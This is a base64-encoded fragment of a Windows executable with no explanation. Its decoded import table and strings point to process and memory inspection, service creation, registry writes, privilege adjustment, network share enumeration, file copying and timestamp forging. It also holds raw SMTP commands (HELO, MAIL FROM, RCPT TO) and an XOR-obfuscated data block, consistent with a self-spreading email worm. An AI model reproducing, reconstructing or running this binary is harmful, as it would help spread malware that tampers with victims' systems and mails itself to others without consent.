av//dQhW/zU8OUkA6Ny///+DxCCFwHQN/3X8/3UI6Bmt//9ZWf91/Oijy///i0UIWV9eW8nD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAASYJhu7m5ubnB5ufu4ubn7ueq5u Tpgfz45+H8+Ofpy7i65+eq5uTpiOXhsLnP/Ovw4/bn56fs7fmL4Ov96c3g7+jq56rm5OmA6O Lpwebn7uLm5+7nqubk6YD27PTs6cHm5+7i5ufu56rm5OmN9uTpzvjg4ejn7ueq5uTnoeLpjP 3r6c/86/Dj9ufnp+zt+Yrw6vnB5ufu4ubn7ueq5uTpjfjr6+zpzeDv6Ornqubk6Yvs+vHpz/ zr8OP25+en7O35hOzy6OnO++Sj6On45+eq5uej6fmN9uLg9unO++Sj6On45+eq5uej6fmJ/O 386/nL9uri7vbm7eeq5uTnoeLpguzn5Ojn6cv26uLu9ubt56rm5Oeh4umC6u725+7py/bq4u 725u3nqubk56Hi6Yvm5+Xs7OnL9uri7vbm7eeq5uTnoeLphOjr8Ojn6LnL9uri7vbm7eeq5u TnoeLpjO3k5uft6cv26uLu9ubt56rm5Oeh4umK/fzv/Ofi5uHpxezq+uHo6ubnqubk56r+6Y /o5+fg+cv26uLu9ubt56rm5Oeh4umJ+O378OPw6OSq+Obpxezq+uHo6ubnqubk56vr+YPs6/ zk4P345+nF7Or64ejq5ueq5uTnqv7phe3x6v75zs3cx6fMzdmL7Ov36Ov76vnK5ez75KDn7f zr9+zt96/r+YmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY mJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiY 